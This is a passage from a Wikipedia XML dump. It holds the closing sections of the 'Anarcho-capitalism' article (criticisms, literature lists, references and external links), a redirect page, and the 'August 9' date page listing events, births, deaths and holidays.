[[Property]] ownership rights and their extent are a source of contention among different philosophies.  Most see the rights as less absolute than anarcho-capitalists do.  The main issues are what kinds of things are valid property, and what constitutes abandonment of property.  The first is contentious even among anarcho-capitalists: there is disagreement over the validity of intellectual property&lt;ref&gt;McElroy, Wendy (1995) [http://www.libertarian.co.uk/lapubs/libhe/libhe014.htm Intellectual Property:The Late Nineteenth Century Libertarian Debate] Libertarian Heritage No. 14 ISBN 1856372812 Retrieved [[24 June]] [[2005]]&lt;/ref&gt; — intangible goods that are not economically scarce.  Some supporters of private property but critics of anarcho-capitalism may question whether unused land is valid property ([[Agorism]], [[Georgism]], [[geolibertarianism]], [[individualist anarchism]]).  The second issue is a common objection among socialists who do not believe in absentee ownership.  Anarcho-capitalists have strong abandonment criteria — one maintains ownership (more or less) until one agrees to trade or gift it.  The critics of this view tend to have weaker abandonment criteria; for example, one loses ownership (more or less) when one stops personally using it.  Also, the idea of original appropriation is anathema to most types of [[socialism]], as well as any philosophy that takes common ownership of land and [[natural resources]] as a premise.  There are also philosophies that view any ownership claims on land and natural resources as immoral and illegitimate, thus rejecting anarcho-capitalism as a philosophy that takes private ownership of land as a premise.

[[Utilitarianism|Utilitarian]] critics simply argue that anarcho-capitalism does not maximize utility, contending that it would fall far short of that goal. This kind of criticism comes from a variety of different political views and ideologies, and different critics have different views on which other system does or would do a better job of bringing the greatest benefits to the greatest number of people.  Anarcho-capitalists consider the nonaggression axiom to be a &quot;side-constraint&quot; on civilized human action&lt;ref name=Nozick-1973/&gt;, or a necessary condition for human society to be beneficial ([[Herbert Spencer]], Murray Rothbard), and thus should not be used as a trade-off for vague utilitarian values.  Another response, implied by [[Austrian economics]], is to argue that personal utility is not an [[additive]] quantity, therefore concluding that all utilitarian arguments, which invariably rely on aggregation of personal utilities, are logically and mathematically invalid.

==Anarcho-capitalist literature==
{{main|Anarcho-capitalist literature}}

===Nonfiction===
The following is a partial list of notable nonfiction works discussing anarcho-capitalism.
*[[Murray Rothbard]] Father of modern anarcho-capitalism:
**''[http://www.mises.org/rothbard/mes.asp Man, Economy, and State]'' The ultimate Austrian economics book,
**''[http://www.mises.org/rothbard/mes.asp Power and Market]''  Classification of State economic interventions,
**''[http://www.mises.org/rothbard/ethics/ethics.asp The Ethics of Liberty]'' Moral justification of a free society
*[[Frederic Bastiat]], ''[http://www.ozarkia.net/bill/anarchism/library/thelaw.html The Law]'' Radical classical liberalism
*Davidson &amp; Rees-Mogg, ''The Sovereign Individual'' Historians look at technology &amp; implications
*[[David Friedman]], ''[[The Machinery of Freedom]]''  Classic utilitarian defense of anarchism
*[[Auberon Herbert]], ''[http://oll.libertyfund.org/ToC/0146.php The Right and Wrong of Compulsion by the State]'' 
*[[Albert Jay Nock]], ''[http://www.barefootsworld.net/nockoets0.html Our Enemy the State]'' Oppenheimer's thesis applied to early US history
*Juan Lutero Madrigal, ''[http://www.geocities.com/johnfkosanke/anc_capm.htm anarcho-capitalism: principles of civilization]''
*[[Franz Oppenheimer]], ''[http://www.opp.uni-wuppertal.de/oppenheimer/st/state0.htm The State]'' Analysis of State; political means vs. economic means
*[[Robert Nozick]], ''Anarchy, State, and Utopia'' Academic philosopher on libertarianism
*[[Herbert Spencer]], ''[http://oll.libertyfund.org/Texts/LFBooks/Spencer0236/SocialStatics/0331_Bk.html Social Statics]'' Includes the essay &quot;The Right to Ignore the State&quot;
*Morris &amp; Linda Tannahill, ''The Market for Liberty'' Classic on PDAs (private defense agencies)

===Fiction===
Anarcho-capitalism has been examined in certain works of literature, particularly [[science fiction]]. an example being [[Robert A. Heinlein]]'s 1966 novel ''[[The Moon Is a Harsh Mistress]]'', where he explores what he terms &quot;rational anarchism.&quot;

==Notes==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==References==
* [[Bruce Benson|Benson, Bruce]]: ''[[The Enterprise of Law: Justice Without The State]]''
* Hart, David M.: [http://homepage.mac.com/dmhart/Molinari/ Gustave de Molinari and the Anti-Statist Liberal Tradition] Retrieved [[14 September]] [[2005]]
* [[Hans-Hermann Hoppe|Hoppe, Hans-Hermann]]: ''[[A Theory of Socialism and Capitalism]]''
* [[Hans-Hermann Hoppe|Hoppe, Hans-Hermann]]: ''[[Democracy: The God That Failed]]''
* [[Murray Rothbard|Rothbard, Murray]]: ''[[For a New Liberty]]: The Libertarian Manifesto''
* [[Murray Rothbard|Rothbard, Murray]]: ''[[The Ethics of Liberty]]''
* [[Lysander Spooner|Spooner, Lysander]]: (1867) [http://www.lysanderspooner.org/notreason.htm ''No Treason: The Constitution of No Authority''] Retrieved [[19 May]] [[2005]]
* Tannehill, Linda and Morris: ''[[The Market For Liberty]]''
* [[Benjamin Tucker|Tucker, Benjamin]]: (1888) [http://praxeology.net/BT-SSA.htm ''State Socialism and Anarchism:How Far They Agree, and Wherein They Differ''] Liberty 5.16, no. 120 ([[10 March]] [[1888]]), pp. 2-3.Retrieved [[20 May]] [[2005]]
* [[Benjamin Tucker|Tucker, Benjamin]]: (1926) [http://flag.blackened.net/daver/anarchism/tucker/tucker37.html ''Labor and its Pay''] Retrieved [[20 May]] [[2005]]
* [[Michael van Notten|Van Notten, Michael]]: [http://home.arcor.de/danneskjoeld/X/Som/indenwr1.htm ''The Law of the Somalis''], 2005

==See also==
===Books===
*[[Murray Rothbard]] Father of modern anarcho-capitalism:
**''[http://www.mises.org/rothbard/mes.asp Man, Economy, and State]'' The ultimate Austrian economics book,
**''[http://www.mises.org/rothbard/mes.asp Power and Market]''  Classification of State economic interventions,
**''[http://www.mises.org/rothbard/ethics/ethics.asp The Ethics of Liberty]'' Moral justification of a free society
*[[Frederic Bastiat]], ''[http://www.ozarkia.net/bill/anarchism/library/thelaw.html The Law]'' Radical classical liberalism
*Davidson &amp; Rees-Mogg, ''The Sovereign Individual'' Historians look at technology &amp; implications
*[[David Friedman]], ''[[The Machinery of Freedom]]''  Classic utilitarian defense of anarchism
*[[Auberon Herbert]], ''[http://oll.libertyfund.org/ToC/0146.php The Right and Wrong of Compulsion by the State]'' 
*[[Albert Jay Nock]], ''[http://www.barefootsworld.net/nockoets0.html Our Enemy the State]'' Oppenheimer's thesis applied to early US history
*Juan Lutero Madrigal, ''[http://www.geocities.com/johnfkosanke/anc_capm.htm anarcho-capitalism: principles of civilization]''
*[[Franz Oppenheimer]], ''[http://www.opp.uni-wuppertal.de/oppenheimer/st/state0.htm The State]'' Analysis of State; political means vs. economic means
*[[Robert Nozick]], ''Anarchy, State, and Utopia'' Academic philosopher on libertarianism
*[[Herbert Spencer]], ''[http://oll.libertyfund.org/Texts/LFBooks/Spencer0236/SocialStatics/0331_Bk.html Social Statics]'' Includes the essay &quot;The Right to Ignore the State&quot;
*Morris &amp; Linda Tannahill, ''The Market for Liberty'' Classic on PDAs (private defense agencies)

===Related subjects===
* [[Anarcho-capitalist literature]]
* [[Anarcho-capitalist terminology and symbolism]]
* [[Classical liberalism]]
* [[Digital gold bug]]
* [[Crypto-anarchism]]
* [[Free market]]
* [[Liberalism]]
* [[Libertarianism]]
* [[Market liberalism]]
* [[Polycentric law]]
* [[Private currency]]

===General===
* [[Anarchism]]
* [[Anarchist law]]
* [[Libertatia]]
* [[Statism]]

==External links==
===Anarcho-capitalist websites===
* [http://www.anarchism.net/anarchism_anarchismcapitalismandanarchocapitalism.htm ''Anarchism, Capitalism, and Anarcho-Capitalism''] from anarchism.net
* [http://home.arcor.de/danneskjoeld/ Ancapistan Network] comes with an ancap start-up, articles and links
* [http://www.anti-state.com/ anti-state.com], has one of the more active forums and infrequent theoretical and practical articles, and hosts [http://www.anti-state.com/article.php?article_id=375 ''Private Property Anarchists and Anarcho-Socialists: Can We Get Along?''] by Gene Callahan
* [http://lemennicier.bwm-mediasoft.com/index.php?none=1&amp;&amp;limba=en Bertrand Lemennicier], a renowned French anarcho-capitalist economist
* [http://www.cuthhyra.pwp.blueyonder.co.uk/ Cuthhyra] is a resource promoting anarcho-capitalism through essays, humour, quotes, links and more.
* [http://www.catallarchy.net/blog Catallarchy]
* Bryan Caplan's [http://www.gmu.edu/departments/economics/bcaplan/anarfaq.htm  &quot;Anarchism Theory FAQ&quot;] is written from the perspective of an anarcho-capitalist.
* [http://www.lewrockwell.com/ LewRockwell.com] is a widely read paleolibertarian news site, it also hosts [http://www.lewrockwell.com/kinsella/kinsella15.html ''What It Means To Be an Anarcho-Capitalist''] by Stephan Kinsella and [http://www.lewrockwell.com/block/block26.html &quot;The Non-Aggression Axiom of Libertarianism&quot;] by Walter Block
* [http://www.geocities.com/vonchloride/anarchist-jesus.pdf &quot;Jesus Is an Anarchist (A free-market, libertarian anarchist, that is—otherwise what is called an anarcho-capitalist)&quot; by James Redford, [[November 9]] [[2005]]] (pdf), an article on the congruence of Jesus's biblical teachings and anarcho-capitalism
* [http://praxeology.net/molinari.htm The Molinari Institute]
* [http://www.mises.org/content/mnr.asp A Legacy of Liberty] and [http://www.mises.org/rothbard/newlibertywhole.asp ''For a New Liberty: The Libertarian Manifesto''] by Murray N. Rothbard
* [http://www.panarchy.org/ Panarchy], another way of considering things that is considered by some ultimately equivalent to anarcho-capitalism.
* [http://www.liberalia.com/ Liberalia], an anarcho-capitalist site
* [http://www.blackcrayon.com/essays/intro/ A Brief Introduction to Philosophical Anarchism] from the viewpoint of an anarcho-capitalist
* [http://samizdata.net/blog/ Samizdata] is a group blog by &quot;...a varied group [ that includes ] wild-eyed anarcho-capitalists&quot;
* [http://www.sovereignlife.com/kickstart.html Sovereign Life] and [http://www.sovereignlife.com/sovereign-individual.html Sovereign Individual] at Sovereignlife.com
* [http://www.strike-the-root.com/ Strike The Root] is an anarcho-capitalist news site with an atheistic slant.
* [http://www.bureaucrash.com Bureaucrash]
* [http://www.spaz.org/~dan/ias/index.html Individualist Anarchist Society at UC Berkeley]
* [http://members.aol.com/VFTfiles/thesis/summary01.htm ''A Calvinist Defense of Anarcho-capitalism''] Argues that the Christian Bible supports anarcho-capitalism
* [http://anarcap.blogspot.com Anarcho-Capitalism] Lifestyle guide for Anarcho-capitalists
* [http://www.sumitdahiya.com/ Sumit Dahiya] &quot;The home of the Anti-Government Pro-Enterprise Movement of India&quot;

===Criticisms===
* [http://www.infoshop.org/faq/secFcon.html Section F - Is &quot;anarcho&quot;-capitalism a type of anarchism?] - &quot;An Anarchist FAQ&quot; from [[Infoshop.org]]
* [http://www.anarchy.no/ai.html The Anarchist International Website] Retrieved [[20 May]] [[2005]]
* [http://members.aol.com/_ht_a/anarchist817/anarcho_capitalism.html#top Anarcho-Capitalism Sucks!] - a collection of links to anti-anarcho-capitalist resources.
* [http://www.spaz.org/~dan/individualist-anarchist/ac-vs-ia.html Anarcho-Capitalism vs. Individualist Anarchism]
* Jeff Draughn's [http://www.geocities.com/CapitolHill/5065/between.html Between Anarchism and Libertarianism: Defining a New Movement] is a contemporary left anarchist critique of anarcho-capitalism 
* [http://anarchism.www7.50megs.com/10.html A critique of anarcho-capitalist claims to anarchist tradition]
* [http://world.std.com/~mhuben/libindex.html The &quot;Critiques Of Libertarianism&quot; website] contains critiques of both libertarianism and anarcho-capitalism.
*[http://directory.google.com/Top/Society/Politics/Liberalism/Libertarianism/Anarcho-Capitalism/Opposing_Views/ Collection of critical articles]
* [http://www.spunk.org/library/otherpol/critique/sp001279.txt Ecology or &quot;anarcho&quot; capitalism] by Ian MacSaorsa
* [http://www.zmag.org/chomsky/interviews/9612-anarchism.html Interview with Noam Chomsky] in which he discusses anarcho-capitalism
* [http://a4a.mahost.org/huckster.html Anarcho-Hucksters]
* [http://dwardmac.pitzer.edu/dward/newrightanarchocap.html The New Right and Anarcho-capitalism] from Chapter 36 of &quot;Demanding the Impossible: A History of Anarchism&quot; by Peter Marshall

===Criticisms by other radical capitalists===
* Robert J. Binidotto's [http://www.vix.com/objectivism/Writing/RobertBidinotto/ContradictionInAnarchism.html The Contradiction in Anarchism]
* Paul Birch's [http://www.paulbirch.net/AnarchoCapitalism1.html A Fatal Instability in Anarcho-Capitalism?] and [http://www.paulbirch.net/AnarchoCapitalism2.html Anarcho-Capitalism Dissolves into City States]
* Tony Hollick's [http://www.la-articles.org.uk/FL-2-2-3.pdf Impossibility of anarcho-capitalism]
* Capitalism.org's [http://capitalism.org/faq/anarchism.htm rejection of the anarchist title]
* [http://www.peikoff.com/opar/anarchism.htm A short selection] by [[Leonard Peikoff]], [[Ayn Rand]]'s intellecutal heir, concerning anarchism
* [http://www.fahayek.org/index.php?option=com_content&amp;task=view&amp;id=693&amp;Itemid=1 ''The Anarcho-Libertarian Utopia — A Critique''] by Drieu Godefridi (Hayek Institute)

===Other===
* [http://www.lewrockwell.com/orig6/molyneux1.html''How can anarcho-capitalism function''] , by [[Stefan Molyneux]]
* [http://www.lewrockwell.com/orig6/molyneux4.html''Disproving the state''], by [[Stefan Molyneux]]
* [http://64.233.161.104/search?q=cache:Y6b4hmt1RicJ:rru.worldbank.org/PapersLinks/Open.aspx ''Anarchy and Invention: How Does Somalia's Private Sector Cope Without Government?''] Something resembling rudimentary anarcho-capitalism is developing organically in Somalia 
* [http://news.bbc.co.uk/2/hi/africa/4020259.stm ''Telecoms thriving in lawless Somalia''] Somali telecommunications infrastructure without government.
* [http://www.somalianarchy.com SomaliAnarchy - &quot;Defending and Celebrating Somalis' Freedom and Prosperity&quot;] Forum and news source for discussion of real-world approximation of anarcho-capitalism now functioning in [[Somalia]]
* [http://www.mises.org/journals/jls/3_1/3_1_2.pdf ''The American Experiment in Anarcho-Capitalism: The Not so Wild, Wild, West''] Anarcho-capitalism in the old &quot;Wild West&quot; in the U.S.
* [http://www.independent.org/issues/article.asp?id=10 ''American Anarchism''] 19th Century Individualist Anarchists influence on Anarcho-Capitalism
* [http://www.weisbord.org/conquest10.htm American Liberal-Anarchism] from ''The Conquest of Power'', by Albert Weisbord
* [http://www.isil.org/resources/introduction.html The Philosophy of Liberty] (animated)
* [http://www.buildfreedom.com/economic/eco_4.html ''Economic Means to Freedom - Part IV: 25 Anarcho-Capitalist Things You Can Do Now!''], by [http://www.FrederickMann.org/ ''Frederick Mann'']
* [http://spoirier.lautre.net/trick.html The liberal theory of power] : a solution to complete anarcho-capitalism with effective solutions to the public good problem and to practical implementation ; it is planned to be implemented by software on the web. 
* Peter Sabatini's [http://www.spunk.org/library/otherpol/critique/sp000713.txt Libertarianism: Bogus Anarchy]
* [http://www.againstpolitics.com/market_anarchism/no_bogus_anarchy.htm ''On Peter Sabatini's &quot;Libertarianism: Bogus Anarchy&quot;''] by Richard A. Gardner
* [http://freeweb.supereva.com/super.freeweb/libertarian/en/anarcho.htm?p ''Per l'Anarco-Capitalismo''] by Guglielmo Piombini
* [http://216.239.51.104/u/Mises?q=cache:pRIqRC_6Nz8J:www.mises.org/journals/scholar/Modugno.PDF ''The anarcho-capitalist political theory of Murray N. Rothbard in its historical and intellectual context] by Roberta Modugno Crocetta

== Anarcho-capitalist pod-casts ==
* [http://www.podfeed.net/category_item.asp?id=3476''Freedomain radio''], by [[Stefan Molyneux]]

== Anarcho-capitalist blogs ==
* [http://www.lewrockwell.com''Lewrockwell'']
* [http://freedomain.blogspot.com''Stefan Molyneyux'']
* [http://www.bkmarcus.com/blog/''Lowercase liberty'']
* [http://www.strike-the-root.com''Paul Murphy and others'']

[[Category:Anarchism]]
[[Category:Libertarianism]]
[[Category:Political movements]]
[[Category:Political theories]]
[[Category:Economic ideologies]]

{{Link FA|eo}}

{{featured article}}

[[ca:Anarcocapitalisme]]
[[da:Anarko-kapitalisme]]
[[de:Anarchokapitalismus]]
[[et:Anarhokapitalism]]
[[es:Anarco-capitalismo]]
[[eo:Anarki-kapitalismo]]
[[fr:Anarcho-capitalisme]]
[[ko:아나키자본주의]]
[[io:Anarkio-kapitalismo]]
[[it:Anarco-capitalismo]]
[[nl:Anarcho-kapitalisme]]
[[pl:Anarchokapitalizm]]
[[pt:Anarco-capitalismo]]
[[fi:Anarkokapitalismi]]
[[sv:Anarkokapitalism]]
[[zh:無政府資本主義]]</text>
    </revision>
  </page>
  <page>
    <title>Anarcho-capitalists</title>
    <id>1026</id>
    <revision>
      <id>15899532</id>
      <timestamp>2002-04-06T13:52:55Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[anarcho-capitalism]]
</text>
    </revision>
  </page>
  <page>
    <title>August 9</title>
    <id>1027</id>
    <revision>
      <id>41932073</id>
      <timestamp>2006-03-02T18:38:20Z</timestamp>
      <contributor>
        <ip>213.153.42.89</ip>
      </contributor>
      <comment>/* Events */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=9}}
|}
'''August 9''' is the 221st day of the year in the [[Gregorian Calendar]] (222nd in [[leap year]]s), with 144 days remaining.

==Events==
*[[48 BC]] - [[Roman Civil War]]: [[Battle of Pharsalus]] - [[Julius Caesar]] decisively defeats [[Pompey]] at [[Pharsalus]] and Pompey flees to [[Ancient Egypt|Egypt]].   
*[[378]] - [[Battle of Adrianople (378)|Battle of Adrianople]]: A large [[Roman Empire|Roman]] army led by Emperor [[Valens]] is defeated by the [[Visigoths]] in present-day [[Turkey]]. Valens is killed along with 2/3 of his army. 
*[[681]] - [[Bulgaria]] is founded as a [[Khanate]] on the south bank of the [[Danube]], after defeating the [[Byzantine Empire|Byzantine]] armies of Emperor [[Constantine IV]] south of the [[Danube]] delta.
*[[1048]] - [[Pope]] [[Damasus II]] dies in [[Rome]], after reigning for only 23 days.
*[[1173]] - Construction of the (Leaning) [[Tower of Pisa]] begins, and it takes two centuries to complete.
*[[1483]] - Opening of the [[Sistine Chapel]] 
*[[1842]] - [[Webster-Ashburton Treaty]] is signed, establishing the [[United States]]-[[Canada]] border east of the [[Rocky Mountains]]. 
*[[1862]] - [[American Civil War]]: [[Battle of Cedar Mountain]] - At [[Cedar Mountain, Virginia]], [[Confederate States of America|Confederate]] General [[Thomas J. Jackson|Stonewall Jackson]] narrowly defeats [[United States|Union]] forces under General [[John Pope (military officer)|John Pope]].
*[[1877]] - [[Indian Wars]]: [[Battle of Big Hole]] - A small band of [[Nez Percé]] Indians clash with the [[United States Army]]. 
*[[1892]] - [[Thomas Edison]] receives a [[patent]] for a two-way [[Telegraphy|telegraph]].
*[[1902]] - [[Edward VII of the United Kingdom|Edward VII]] is crowned king of the [[United Kingdom]].  
*[[1936]] - [[1936 Summer Olympics]]: [[Jesse Owens]] wins his fourth [[gold medal]] at the games becoming the first American to win four medals in one [[Olympics]].  
*[[1942]] - [[India]]n leader, [[Mohandas Gandhi]] is arrested in [[Bombay]] by [[United Kingdom|British]] forces, launching the [[Quit India Movement]].
*[[1944]] - The [[United States Forest Service]] and the [[Wartime Advertising Council]] release posters featuring [[Smokey the Bear]] for the first time.   
*[[1945]] - [[World War II]]: An [[atomic bomb]]  is dropped on the city of [[Nagasaki]], [[Japan]] killing an estimated  70,000-90,000. 
*[[1965]] - [[Singapore]] seceded from the newly-formed Federation of Malaysia.
*1965 - [[Space disasters]]: A fire at a Titan missile base near [[Little Rock, Arkansas]] kills 53 construction workers.  
*[[1967]] - [[Vietnam War]]: [[Operation Cochise]] initiated - [[United States Marines]] begin a new operation in the [[Que Son Valley]].  
*[[1969]] - Members of a [[cult]] led by [[Charles Manson]] murder five people. 
*[[1974]] - [[Richard Nixon]] becomes the first [[President of the United States]] to resign from office.  His [[Vice President of the United States of America|Vice President]], [[Gerald Ford]], becomes president. 
*[[1983]] - [[Peter Jennings]] hosts his first broadcast of [[American Broadcasting Company|ABC]]'s [[ABC World News Tonight|World News Tonight]] as sole anchor.
*[[1986]] - The [[Headington Shark]] is erected in [[Oxford]].
*[[1987]] - 9 people are shot dead and 17 more injured as 19-year old Julian Knight opens fire at random in  the [[Hoddle Street Massacre]] in Clifton Hill 
*[[1988]] - [[Wayne Gretzky]] is traded from the [[Edmonton Oilers]] to the [[Los Angeles Kings]] in one of the most controversial transactions in [[ice hockey|hockey]] history.
*[[1989]] - [[Kaifu Toshiki]] becomes [[Prime Minister of Japan]].
*[[1993]] -  The [[Liberal Democratic Party (Japan)|Liberal Democratic Party of Japan]] loses a 38-year hold on national leadership.
*1993 - King [[Albert II of Belgium|Albert II]] of [[Belgium]] is sworn into office.
*[[1995]] - [[Netscape Communications Corporation|Netscape]] launches IPO.
*[[1999]] - [[Russia]]n President [[Boris Yeltsin]] fires his Prime Minister, [[Sergei Stepashin]], and for the fourth time fires his entire cabinet.  
*1999 - The [[Diet of Japan]] enacts a law establishing the [[Flag of Japan|Hinomaru]] and [[Kimi Ga Yo]] as the official [[national flag]] and [[national anthem]].
*[[2000]] - A [[The New Piper Aircraft|Piper]] Navajo and a Piper Seminole collide in mid-air over a housing development in [[Burlington, New Jersey]], killing 11
*[[2001]] - US President [[George W. Bush]] announces his support for federal funding of limited research on embryonic [[stem cell]]s.
*2001 - In [[Jerusalem]], 15 people die and 130 wounded in the [[Sbarro restaurant suicide bombing]].
*[[2005]] - [[STS-114|Space Shuttle ''Discovery'']] makes successful touchdown at [[Edwards Air Force Base]], [[California]]

==Births==
*[[1201]] - [[Arnold Fitz Thedmar]], English chronicler (d. [[1274]])
*[[1593]] - [[Izaak Walton]], English angler (d. [[1683]])
*[[1631]] - [[John Dryden]], English [[Poet Laureate]] (d. [[1700]])
*[[1648]] - [[Johann Michael Bach]], German composer (d. [[1694]])
*[[1653]] - [[John Oldham (poet)|John Oldham]], English poet (d. [[1683]])
*[[1674]] - [[František Maxmilián Kaňka]], Czech architect (d. [[1766]])
*[[1722]] - [[Augustus William, Prince of Prussia]] (d. [[1758]])
*[[1726]] - [[Francesco Cetti]], Italian Jesuit scientist (d. [[1778]])
*[[1757]] - [[Thomas Telford]], Scottish civil engineer (d. [[1834]])
*[[1776]] - [[Amedeo Avogadro]], Italian chemist (d. [[1856]])
*[[1797]] - [[Charles Robert Malden]], British naval officer (d. [[1855]])
*[[1805]] - [[Joseph Locke]], English railway and civil engineer (d. [[1860]])
*[[1845]] - [[Brother Andre]], Canadian religious figure (d. [[1937]])
*[[1871]] - [[Leonid Andreyev]], Russian writer (d. [[1919]])
*[[1872]] - [[Joseph August, Archduke of Austria]], Austrian field marshal (d. [[1962]])
*[[1874]] - [[Reynaldo Hahn]], Venezuelan composer and conductor (d. [[1947]])
*[[1896]] - [[Jean Piaget]], Swiss psychologist (d. [[1980]])
*1896 - [[Lev Vygotsky]], Russian psychologist (d. [[1934]])
*1896 - [[Erich Hückel]], German physicist (d. [[1980]])
*[[1899]] - [[P. L. Travers]], Australian author (d. [[1996]])
*[[1902]] - [[Zino Francescatti]], French violinist (d. [[1991]])
*[[1909]] - [[Adam von Trott zu Solz]], German diplomat opposing the Nazi regime (executed) (d. [[1944]])
*[[1911]] - [[William Alfred Fowler]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1996]])
*[[1914]] - [[Tove Jansson]], Finnish author  (d. [[2001]])
*[[1919]] - [[Joop den Uyl]], [[Prime Minister of the Netherlands]] (d. [[1987]])
*1919 - [[Ralph Houk]], baseball player and manager
*[[1921]] - [[J. James Exon]], Nebraska Senator and Governor
*[[1922]] - [[Philip Larkin]], English poet (d. [[1985]])
*[[1927]] - [[Daniel Keyes]], American author
*1927 - [[Robert Shaw (actor)|Robert Shaw]], English actor (d. [[1978]])
*[[1928]] - [[Bob Cousy]], American basketball player
*[[1931]] - [[Mário Zagallo]], Brazilian football coach and player
*[[1933]] - [[Tetsuko Kuroyanagi]], Japanese television personality and children's author
*[[1938]] - [[Leonid Kuchma]], Ukrainian politician
*1938 - [[Rod Laver]], Australian tennis player
*[[1939]] - [[Romano Prodi]], Italian politician, [[President of the European Commission]]
*1939 - [[Hércules Brito Ruas|Brito]], Brazilian football player
*[[1944]] - [[Sam Elliott]], American actor
*[[1945]] - [[Ken Norton]], American boxer
*1945 - [[Posy Simmonds]], English cartoonist
*[[1948]] - [[Bill Campbell (baseball player)|Bill Campbell]], American baseball player
*[[1949]] - [[Jonathan Kellerman]], American writer
*[[1952]] - [[Prateep Ungsongtham Hata]], Thai politician
*[[1953]] - [[Robert Cray]], Blues musician
*[[1957]] - [[Melanie Griffith]], American actress
*[[1959]] - [[Stuart Hughes]], Canadian actor
*[[1962]] - [[Kevin Mack]], American football player
*[[1963]] - [[Whitney Houston]], American singer and actress
*[[1964]] - [[Brett Hull]], Canadian-born hockey player
*[[1967]] - [[Deion Sanders]], American football player
*[[1968]] - [[Gillian Anderson]], American actress
*1968 - [[Eric Bana]], Australian actor
*[[1969]] - [[Troy Percival]], baseball player
*[[1972]] - [[Juanes]], Colombian singer
*[[1973]] - [[Kevin McKidd]], Scottish actor
*[[1973]] - [[Filippo Inzaghi]], Italian footballer
*[[1974]] - [[Matt Morris]], baseball player
*[[1976]] - [[Jessica Capshaw]], American actress
*1976 - [[Rhona Mitra]], English actress
*[[1977]] - [[Chamique Holdsclaw]], American basketball player
*1977 - [[Mikael Silvestre]], French footballer
*[[1978]] - [[Audrey Tautou]], French actress

==Deaths==
*[[117]] - [[Trajan]], [[Roman Emperor]] (b. [[53]])
*[[378]] - [[Valens]], [[Roman Emperor]] (killed in battle) (b. [[328]])
*[[803]] - [[Byzantine Empress Irene]]
*[[1107]] - [[Emperor Horikawa]] of Japan (b. [[1079]])
*[[1250]] - King [[Eric IV of Denmark]] (b. [[1216]])
*[[1534]] - [[Cardinal Cajetan]], Italian theologian (b. [[1470]])
*[[1634]] - [[William Noy]], English jurist (b. [[1577]])
*[[1720]] - [[Simon Ockley]], English orientalist (b. [[1678]])
*[[1744]] - [[James Brydges, 1st Duke of Chandos]], English patron of the arts (b. [[1673]])
*[[1886]] - [[Samuel Ferguson]], Northern Irish poet and artist (b. [[1810]])
*[[1919]] - [[Ruggiero Leoncavallo]], Italian composer (b. [[1857]])
*[[1942]] - [[Edith Stein]], (St. Teresa Benedicta of the Cross) (executed) (b. [[1891]])
*[[1945]] - [[Harry Hillman]], American athlete (b. [[1881]])
*[[1962]] - [[Hermann Hesse]], German-born writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1877]])
*[[1967]] - [[Joe Orton]], English writer (b. [[1933]])
*[[1969]] - [[Abigail Folger]], American heiress (b. [[1943]])
*1969 - [[Wojciech Frykowski]], Polish writer (b. [[1936]])
*1969 - [[Cecil Frank Powell]], British physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1903]])
*1969 - [[Jay Sebring]], American hair stylist (b. [[1933]])
*1969 - [[Sharon Tate]], American actress (murdered) (b. [[1943]])
*[[1975]] - [[Dmitri Shostakovich]], Russian composer (b. [[1906]])
*[[1995]] - [[Jerry Garcia]], American guitarist ([[Grateful Dead]]) (b. [[1942]])
*[[2000]] - [[John Harsanyi]], Hungarian-born economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (b. [[1920]])
*[[2002]] - [[Peter Neville]], anarchist, sociologist, and peace activist
*[[2003]] - [[Ray Harford]], English footballer and manager (b. [[1945]])
*2003 - [[Gregory Hines]], American actor and dancer (b. [[1946]])
*[[2005]] - [[Matthew McGrory]], American actor (b. [[1973]])
*2005 - [[Judith Rossner]], American novelist (b. [[1935]])

==Holidays and observances==
*[[Feast day]] of [[Jean Vianney]], [[Edith Stein]] and [[Saint Romanus Ostiarius]] in the [[Roman Catholic Church]]
*Feast day of the great [[martyr]] [[Saint Panteleimon]] in Russian [[Orthodox Church]]
*[[South Africa]]: [[National Women's Day - South Africa|National Women's Day]]
*[[Singapore]]: [[National Day]]
*[[India]]:[[Quit India Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/9 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050809.html ''The New York Times'': On This Day]
----

[[August 8]] - [[August 10]] - [[July 9]] - [[September 9]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:9 Augustus]]
[[ar:9 أغسطس]]
[[an:9 d'agosto]]
[[ast:9 d'agostu]]
[[bg:9 август]]
[[be:9 жніўня]]
[[bs:9. avgust]]
[[ca:9 d'agost]]
[[ceb:Agosto 9]]
[[cv:Çурла, 9]]
[[co:9 d'aostu]]
[[cs:9. srpen]]
[[cy:9 Awst]]
[[da:9. august]]
[[de:9. August]]
[[et:9. august]]
[[el:9 Αυγούστου]]
[[es:9 de agosto]]
[[eo:9-a de aŭgusto]]
[[eu:Abuztuaren 9]]
[[fo:9. august]]
[[fr:9 août]]
[[fy:9 augustus]]
[[ga:9 Lúnasa]]
[[gl:9 de agosto]]
[[ko:8월 9일]]
[[hr:9. kolovoza]]
[[io:9 di agosto]]
[[ilo:Agosto 9]]
[[id:9 Agustus]]
[[ia:9 de augusto]]
[[ie:9 august]]
[[is:9. ágúst]]
[[it:9 agosto]]
[[he:9 באוגוסט]]
[[jv:9 Agustus]]
[[ka:9 აგვისტო]]
[[csb:9 zélnika]]
[[ku:9'ê gelawêjê]]
[[lt:Rugpjūčio 9]]
[[lb:9. August]]
[[li:9 augustus]]
[[hu:Augusztus 9]]
[[mk:9 август]]
[[ms:9 Ogos]]
[[nap:9 'e aùsto]]
[[nl:9 augustus]]
[[ja:8月9日]]
[[no:9. august]]
[[nn:9. august]]
[[oc:9 d'agost]]
[[pl:9 sierpnia]]
[[pt:9 de Agosto]]
[[ro:9 august]]
[[ru:9 августа]]
[[se:Borgemánu 9.]]
[[sq:9 Gusht]]
[[scn:9 di austu]]
[[simple:August 9]]
[[sk:9. august]]
[[sl:9. avgust]]
[[sr:9. август]]
[[fi:9. elokuuta]]
[[sv:9 augusti]]
[[tl:Agosto 9]]
